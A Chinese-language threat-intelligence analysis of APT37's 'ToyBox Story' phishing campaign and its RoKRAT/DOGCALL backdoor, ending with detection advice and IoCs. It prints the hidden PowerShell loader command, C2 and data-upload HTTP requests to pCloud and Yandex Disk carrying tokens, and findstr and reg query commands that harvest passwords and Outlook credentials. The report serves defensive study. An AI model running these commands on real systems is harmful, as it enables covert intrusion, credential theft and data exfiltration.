鱼叉刺穿国安智库:APT37「ToyBox Story 行动」全链路技术解析
朝鲜国家级黑客组织 APT37 对韩国多名朝鲜问题研究人员发起了一轮精密的鱼叉式网络钓鱼行动代号「ToyBox Story」。攻击者以真实的国家安全战略学术论坛为诱饵通过合法云存储服务 Dropbox 分发恶意快捷方式LNK文件部署多阶段无文件后门 RoKRAT又名 DOGCALL借助 pCloud、Yandex Disk 和 Dropbox 作为命令与控制C2基础设施并最终以三层加密完成数据外传构成了一条从钓鱼邮件到情报窃取的完整攻击链。APT37 攻击流程总览图Flowchart of the APT37 AttackAPT37别名Reaper Group、Ricochet Chollima、Group 123、TEMP.Reaper是一个被安全社区广泛认定为受朝鲜国家支持的高级持续威胁组织据评估隶属于朝鲜侦察总局Reconnaissance General Bureau。该组织自 2012 年起持续活跃核心任务是对韩国政府机构、军事人员、外交官、新闻媒体、脱北者群体及朝鲜问题研究人员实施定向网络间谍活动攻击目标近年来也延伸至东南亚及其他地区的政府、国防与战略研究机构。APT37 的四大标志性战术特征LoTSLiving off Trusted Sites将 Dropbox、pCloud、Yandex Disk 等合法公有云存储服务用作 C2 基础设施将恶意通信混入 HTTPS 正常流量极大规避传统安全设备基于 IP/域名黑名单的检测能力LNK 文件武器化持续迭代利用 Windows 快捷方式文件.lnk嵌入 PowerShell 命令触发多阶段无文件攻击链RoKRAT / DOGCALL 工具集自研后门框架具备截屏、键盘记录、文件窃取、反虚拟机检测、云 API 外传等能力核心模块代码长期稳定、更新频率低精准社会工程基于充分的 OSINT 前侦察针对目标的职业背景和关注议题高度定制诱饵内容Case A伪装成朝鲜士兵赴俄战场相关文章2025年3月8日攻击者冒充韩国国内知名的朝鲜问题研究专家向潜在目标发送第一封鱼叉邮件。邮件主题러시아 전장에 투입된 인민군 장병들에게.hwp致在俄罗斯战场上的朝鲜人民军士兵.hwp社会工程逻辑精准利用彼时国际社会高度关注的「朝鲜士兵赴俄参战」热点议题对关注朝鲜动向的研究人员、记者及政策分析师具有极强的吸引力视觉伪装附件图标使用了 Naver Mail韩国最大邮件服务商的 HWP 文件标准图标外观与真实 Hangul 文档几乎无异但点击「附件」后实际跳转的是一个 Dropbox 下载链接实际内容Dropbox 链接指向同名 ZIP 压缩包解压后仅含一个 .lnk 快捷方式文件大小824,819 字节Case A 钓鱼邮件截图邮件正文及附件图标Case B伪装成国家安全战略学术论坛邀请函2025年3月11日攻击者以一家真实存在的韩国国家安全战略研究机构名义发起第二波攻击主题对准了一场已公开宣传的学术会议。诱饵主题「川普2.0时代前景与韩国应对」——攻击者特意借用了这场真实举办的活动使诱饵内容具备完整的可信度分发机制与 Case A 完全相同 —— Naver Mail 图标伪装 Dropbox 链接实际内容ZIP 包中包含两个文件 —— 一张无害的 JPG 会议海报用于消除受害者疑虑和一个恶意 LNK 快捷方式文件大小12,145,612 字节Case B 会议邀请邮件截图两起案例的共同结论尽管诱饵内容截然不同两个 LNK 文件最终投递的是完全相同的终极 payload——RoKRAT。社会工程层的精心设计是入场券真正的技术复杂度体现于 LNK 文件触发的后续攻击链。PINELINK 是 APT37亦追踪为 APT-U6264 / UNC6264使用的 LNK 释放器LNK Dropper利用 PowerShell 实现多阶段有效载荷的部署同时释放诱饵文档以降低受害者警觉。3.1 LNK 文件的武器化机制T1204.002 - 恶意文件LNK 文件嵌入命令的内容截图恶意 LNK 文件整体结构图3.2 文件释放与扩展名混淆T1059.001 - PowerShell, T1027 - 混淆文件或信息LNK 执行后PowerShell 命令在受害者的 %TEMP% 目录下悄然释放以下四个文件文件名类型作用sharke.bat批处理脚本第一阶段加载器调用 PowerShell 加载下一级 Loaderelephant.dat加密 PowerShell 脚本第二阶段加载器包含用于解密 caption.dat 的脚本逻辑caption.datXOR 加密的 DOGCALL payloadRoKRAT 后门的加密本体诱饵文档真实 HWP / PDF展示给受害者以消除疑虑关键混淆手法T1027 - 混淆文件或信息sharke.bat 并非直接以 .bat 扩展名写入磁盘。攻击者将扩展名的字符串拆分为单个字符在运行时通过 拼接操作动态重组以绕过基于文件扩展名的静态检测规则。作为视觉迷彩的诱饵 HWP 文档内容展示3.3 三级加载链从磁盘到内存的无文件跃迁[受害者双击 LNK] ─→ PowerShell 执行-windowstyle hidden│├─ 释放 sharke.bat elephant.dat caption.dat 诱饵文档│▼sharke.bat第一级 Loader│▼PowerShell 读取 elephant.dat以字节流读入 → UTF8 解码 → ScriptBlock::Create() → Invoke-Command│▼elephant.dat 脚本第二级 Loader使用 XOR 密钥解密内存中的 caption.dat│▼VirtualAlloc 分配可执行内存缓冲区写入解密后的 PE 文件DOGCALL/RoKRAT│▼CreateThread → Shellcode 在内存中执行 → C2 上线整个执行链只有一个设计目标让最终的恶意可执行代码永远不以文件形式落地磁盘。每一级载荷均以加密数据文件形式存储由上级 PowerShell 脚本在内存中完成解密与执行彻底规避依赖文件特征哈希的传统 AV 检测。PowerShell 命令将数据动态转化为 Shellcode 执行的流程图塞讯智能安全验证平台 - PINELINK 沙盘执行动作DOGCALL又名 RoKRAT是 APT37 的核心后门工具通常不以完整 PE 文件形式存在于磁盘而是经由上级 Loader 解密后直接注入内存执行。Genians 对多次 APT37 行动中的 RoKRAT 样本进行比对分析发现其核心代码结构长期保持稳定APT37 主要依靠无文件执行方式而非代码更新来规避检测。4.1 从 elephant.dat 到内存执行的完整链条T1059.001 - PowerShell, T1055 - 进程注入以下是还原的关键执行序列验证规则受保护的沙盘 - WindowsAPT-U6264DOGCALL执行变种 #2步骤一将加密载荷移至 TEMP 目录move C:\Users\Public\Documents\caption.dat %TEMP% move C:\Users\Public\Documents\elephant.dat %TEMP%步骤二以隐藏窗口启动 32 位 PowerShell将 elephant.dat 以字节流读入并动态构造 ScriptBlock 执行start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $stringPath$env:temp\elephant.dat;$stringByte Get-Content -path $stringPath -encoding byte;$string [System.Text.Encoding]::UTF8.GetString($stringByte);$scriptBlock [scriptblock]::Create($string);Invoke-Command $scriptBlock;通过 ScriptBlock::Create() 动态构造代码块的方式使 PowerShell 脚本块日志ScriptBlock Logging无法直接记录加载的脚本明文内容这是规避 Windows 安全审计的常见手法。步骤三内存执行elephant.dat 脚本以硬编码 XOR 密钥解密内存中的 caption.datDOGCALL 本体将解密后的 PE 文件注入新分配的可执行内存缓冲区并通过 CreateThread 触发执行——全程零磁盘痕迹。步骤四验证 C2 回连通过以下命令确认 DOGCALL 是否成功上线Ipconfig /displaydns成功标志为 DNS 缓存中出现api.pcloud.com或cloud-api.yandex.net证明 DOGCALL 已与 C2 服务器建立连接。Shellcode 中以 XOR 逻辑解密 PE 文件的代码截图RoKRAT 主函数WinMain代码结构及其系统信息收集例程塞讯智能安全验证平台 - DOGCALL 沙盘执行动作4.2 DOGCALL 的核心间谍能力T1055 - 进程注入, T1027 - 混淆文件或信息DOGCALL 一旦在内存激活即开始执行以 switch-case 指令结构驱动的间谍任务能力技术细节实时截屏截取屏幕保存为 JPEG存至 %TEMP%文件名为 %s%04X%04X.tmp 格式的8字符十六进制随机串键盘记录实时捕获击键内容并暂存待 C2 通信时批量上传反虚拟机检测主函数在执行核心例程前检测沙箱 / 虚拟机特征若判定为分析环境则即时终止接收动态指令通过云 API 轮询接收攻击者命令可执行任意 cmd.exe 命令、下载并执行新 payload、删除攻击痕迹等进程注入变种在验证规则【受保护的沙盘 - APT37DOGCALLVBA 自解码规避和进程注入执行】还原的变种中DOGCALL 通过 VBA 自解码后将 Shellcode 注入 notepad.exe 进程同样实现零文件持久化5.1 为什么选云盘做 C2传统自建 C2 基础设施VPS 自定义域名面临被威胁情报平台快速标记、防火墙封锁的风险攻击者的 C2 基础设施往往在数小时内即遭识别和封禁。APT37 长期采用的 LoTSLiving off Trusted Sites 策略其核心逻辑是将恶意通信裹挟在大量合法平台的 HTTPS 流量中使基于 IP / 域名黑名单的传统安全设备无从拦截——没有组织会直接封锁 Dropbox 或 Yandex。本次行动中DOGCALL 同时支持三个 C2 后端演变路径反映了 APT37 的持续工程化投入历史路径pCloud → Yandex Disk → OneDrive / Google DriveToyBox Story 新增Dropbox5.2 三个 C2 后端的通信行为详解① 初始签到 — pCloud验证规则命令与控制 - APT-U6264DOGCALL签到变种 #1DOGCALL 上线后首先通过 pCloud API 的 listfolder 请求确认 C2 连通性。GET /listfolder?path/ HTTP/1.1Host: api.pcloud.comAuthorization: Bearer JINs7ZDb7OvfloXrYZt8wH7kZ7LjAjGKBckj4kTgWSBiDSVWF1fKXUser-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)注意 User-Agent 字段DOGCALL 将自身伪装成 Google 爬虫机器人发起请求进一步降低网络安全设备对该流量的可疑度评分。② 命令轮询 — Yandex Disk验证规则命令与控制 - APT-U6264DOGCALL命令轮询变种 #1DOGCALL 持续以固定时间间隔轮询 Yandex Disk 根目录内容通过检查是否存在特定命名的文件来“取件”攻击者指令GET /v1/disk/resources?path/limit500 HTTP/1.1Host: cloud-api.yandex.netAuthorization: OAuth y0_AgAAAABqpA5t...User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)当攻击者需要下发命令时只需将特定内容的文件上传到 Yandex Disk 指定路径DOGCALL 通过 limit500 的目录列表请求定期「轮询收件」整个命令信道的网络特征与普通用户的 Yandex 云存储访问完全一致。③ 数据回传 — Yandex Disk 两步上传验证规则命令与控制 - APT-U6264DOGCALL数据泄露变种 #1数据外传前DOGCALL 先请求一个一次性上传地址GET /v1/disk/resources/upload?path/Comment/6DAF24DF1F4AD773overwritetrueHost: cloud-api.yandex.net随后向返回的临时 URL 发起 PUT 请求将加密数据包投递至攻击者专属目录。Dropbox Access Token 硬编码于 DOGCALL 样本中的反汇编截图APT37 多次攻击行动之间的基础设施关联关系图塞讯智能安全验证平台 - DOGCALL Yandex Disk 命令轮询5.3 溯源线索伪装在合法平台背后的攻击者Genians 对 DOGCALL 样本中硬编码的 Dropbox Access Token 进行深度追踪所有 Token 的注册邮箱均为俄罗斯 Yandex 邮件账户如 rolf.gehrungyandex.com。基于账户用户名进行 LinkedIn 搜索返回了部分与用户名匹配的公开社交档案但研究人员注意到这些身份可能涉及盗用或冒充调查仍在持续。此外攻击者的网络通信均通过 NordVPN 或 AstrillVPN 进行流量源混淆后者在 Google 的朝鲜 IT Worker 威胁情报报告中也曾被提及。DOGCALL 上线后攻击者并不急于大规模横向移动而是首先对目标环境进行系统化侦察同时针对性地窃取高价值凭证。6.1 系统信息收集T1614 - 系统位置发现, T1082 - 系统信息发现语言与地区侦察验证规则主机命令行 - Windows收集详细的系统位置和语言信息 — T1614 - 系统位置发现DOGCALL 查询注册表键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language并调用多个 Windows 原生 APIGetLocaleInfoW、GetUserDefaultUILanguage、GetSystemDefaultUILanguage、GetKeyboardLayoutList 等获取系统语言与地区设置。这一行为有明确的战略意图APT37 会根据受害者的语言环境决定是否继续攻击。若检测到朝鲜语或英语分析/蜜罐环境的典型特征DOGCALL 会直接终止运行既保护了样本不被分析也避免了攻击资源的无效消耗。时间信息收集验证规则主机命令行 - 获取系统当前日期— T1082 - 系统信息发现通过 PowerShell 获取当前系统时间将其以 dd-MM-yyyy_sectest.txt 格式写入临时文件随后以 Remove-Item -Recurse -Force 清除所有痕迹powershell.exe -c New-Item -ItemType File -Force -Path C:\Users\Public\...-Name ((Get-Date).ToString(dd-MM-yyyy) _sectest.txt)CPU 硬件信息验证规则主机命令行 - Windows通过 WMIC 获取 CPU 信息 — T1082 - 系统信息发现通过 WMIC 查询 CPU 型号、核心数、最大主频等硬件特征用于环境识别与反沙箱判断wmic cpu get caption, deviceid, name, numberofcores, maxclockspeed, status6.2 凭证窃取T1552.001 - 文件中的凭据, T1552.002 - 注册表中的凭据, T1119 - 自动收集文件系统明文凭据扫描验证规则主机命令行 - 明文敏感数据发现 — T1552.001 - 文件中的凭据; T1083 - 文件和目录发现使用 findstr 命令递归搜索磁盘文件中的敏感关键词寻找以明文保存的密码、密钥或配置信息:findstr /s /d:C:\Users\Public\Documents /m juicypassword *在实际攻击场景中攻击者会搜索更广泛的关键词范围password、secret、api_key、token 等覆盖配置文件、脚本、日志及代码仓库往往能直接命中开发机器或运维工作站上以明文保存的内部系统凭证。Outlook 注册表凭据窃取验证规则主机命令行 - URSNIF从 Microsoft Outlook 注册表项中收集数据 — T1552.002 - 注册表中的凭据; T1119 - 自动收集遍历 Microsoft Office 11.0 至 16.0 全版本的 Outlook 配置注册表项提取邮件账户凭据:reg query HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlookreg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook对于以政府机构、研究机构或企业高管为目标的攻击场景Outlook 账户凭据的价值极高——不仅可用于持续监控通信内容还可被用作进一步鱼叉攻击的跳板发起高可信度的商业邮件欺诈BEC。DOGCALL 将收集到的所有情报数据系统信息、截图、进程列表、击键记录、凭证打包后经过三层加密处理再上传至攻击者控制的云存储账户。加密流程由内向外固定 4 字节魔术头0xFA 0xDE 0xAD 0xBA硬编码于 RoKRAT 中的截图使用 PRNG 随机密钥的 XOR 加密例程截图AES-CBC-128 加密例程-截图原始数据系统信息 截图 凭证等│▼ [第一层]附加固定 4 字节魔术头0xFA 0xDE 0xAD 0xBA→ 作用标识数据格式同时使攻击者可用已知明文辅助解密│▼ [第二层]XOR 随机混淆使用 PRNG 生成的随机 4 字节密钥进行 XOR 运算→ 由于固定头已知攻击者可快速还原 XOR 密钥并反向解密│▼ [第三层]AES-CBC-128 强加密→ AES 密钥本身再经 RSA 加密并前缀于加密数据头部│▼HTTP PUT 请求 → Yandex Disk 唯一一次性路径HTTPS / 443最终的上传流量塞讯智能安全验证平台验证规则命令与控制 - APT-U6264DOGCALL数据泄露变种 #1携带Authorization: OAuth token头及 Googlebot User-Agent全程通过 HTTPS 443 端口传输。在网络层这与任何正常用户使用 Yandex 网盘上传文件的行为特征完全一致仅在 API 路径/Comment/UUID和请求频率上存在异常特征。邮件网关层阻断 LNK-in-ZIP对压缩包附件.zip/.rar/.7z内部包含 .lnk 文件的邮件执行自动拦截或强制隔离审查这是本次攻击链的唯一入场门云链接附件检测识别正文中以 Naver Mail 或主流邮件客户端图标伪装、实际指向 Dropbox / Google Drive / pCloud 外链的附件样式端点防护层EDR 优先检测场景关键行为特征MITRE 技术LNK 触发隐藏 PowerShellexplorer.exe → powershell.exe -windowstyle hiddenT1059.001 - PowerShell多级 .dat 加载链PowerShell 读取 .dat 文件 ScriptBlock::Create() Invoke-CommandT1027 - 混淆文件或信息内存分配后注入执行VirtualAllocEx WriteProcessMemory CreateRemoteThread 三连调用T1055 - 进程注入注册表 Outlook 遍历reg query HKCU\Software\Microsoft\Office 路径T1552.002 - 注册表中的凭据批量文件内容搜索findstr /s 递归扫描后无明确合法父进程T1083 - 文件和目录发现关键结论无文件攻击的检测必须依赖内存行为分析而非文件特征基于文件哈希的 AV 对本次攻击链在「文件执行」阶段以后几乎完全失效。EDR 日志中的进程树分析和内存写入异常告警是检测该攻击的核心手段。网络层LoTS 盲区提示:仅凭连接目标域名如 cloud-api.yandex.net无法判断访问是否恶意需结合 API 请求路径进行上下文分析高风险路径示例/listfolderpCloud、/v1/disk/resourcesYandex出现在非服务器类端点异常 User-Agent终端设备发出 Googlebot User-Agent 请求应立即触发调查DNS异常监控api.pcloud.com、cloud-api.yandex.net在企业网络中无合法业务需求时出现应纳入高风险 DNS 解析告警列表威胁狩猎建议Threat Hunting结合以下 IOC 与行为特征在历史日志中回溯检查判断组织是否已遭受此类攻击的静默渗透查找 %TEMP% 目录下同时存在 .dat 和 .bat 文件的时间段在 DNS 日志中搜索 api.pcloud.com、cloud-api.yandex.net 的解析记录在进程创建日志中搜索 SysWow64\WindowsPowerShell 路径启动 PowerShell 的记录攻击者刻意使用32位版本附录失陷指标IoC文件哈希MD581c08366ea7fc0f933f368b120104384723f80d1843315717bc56e9e58e89be57822e53536c1cf86c3e44e31e77bd088324688238c42d7190a2b50303cbc6a3ca635bd019674b25038cd8f02e15eebd2beeaca6a34fb05e73a6d8b7d2b8c2ee3d5d48f044ff16ef6a4d5bde060ed5ceed77c8449f1efc4bfb9ebff496442bbbc2f431c4e65af9908d2182c6a093bf2627cc8ce5374ff9eacd38491b75cbedf898f339a09f0d0202cfaffbd38469490ec46ca088d5c052738d42bbd6231cc0ed5C2 IP 地址89.147.101[.]6589.147.101[.]7137.120.210[.]2攻击者关联邮箱rolf.gehrungyandex.comekta.sahasiyandex.comgursimran.bindrayandex.comsneha.geethakrishnanyandex.comtanessha.samuelgmail.comtianling0315gmail.comw.sarah0808gmail.comsoftpower21csgmail.comsandozmessigmail.comtiger.man.1999mail.runavermail_noreplymail.ru本文涉及的所有 IoC 及攻击者关联信息来源于 Genians Security Center 公开发布的威胁情报报告。其中 IP 地址已添加 [.] 中断符以防止误触发攻击者邮件地址仅供情报参考不应用于任何主动联络。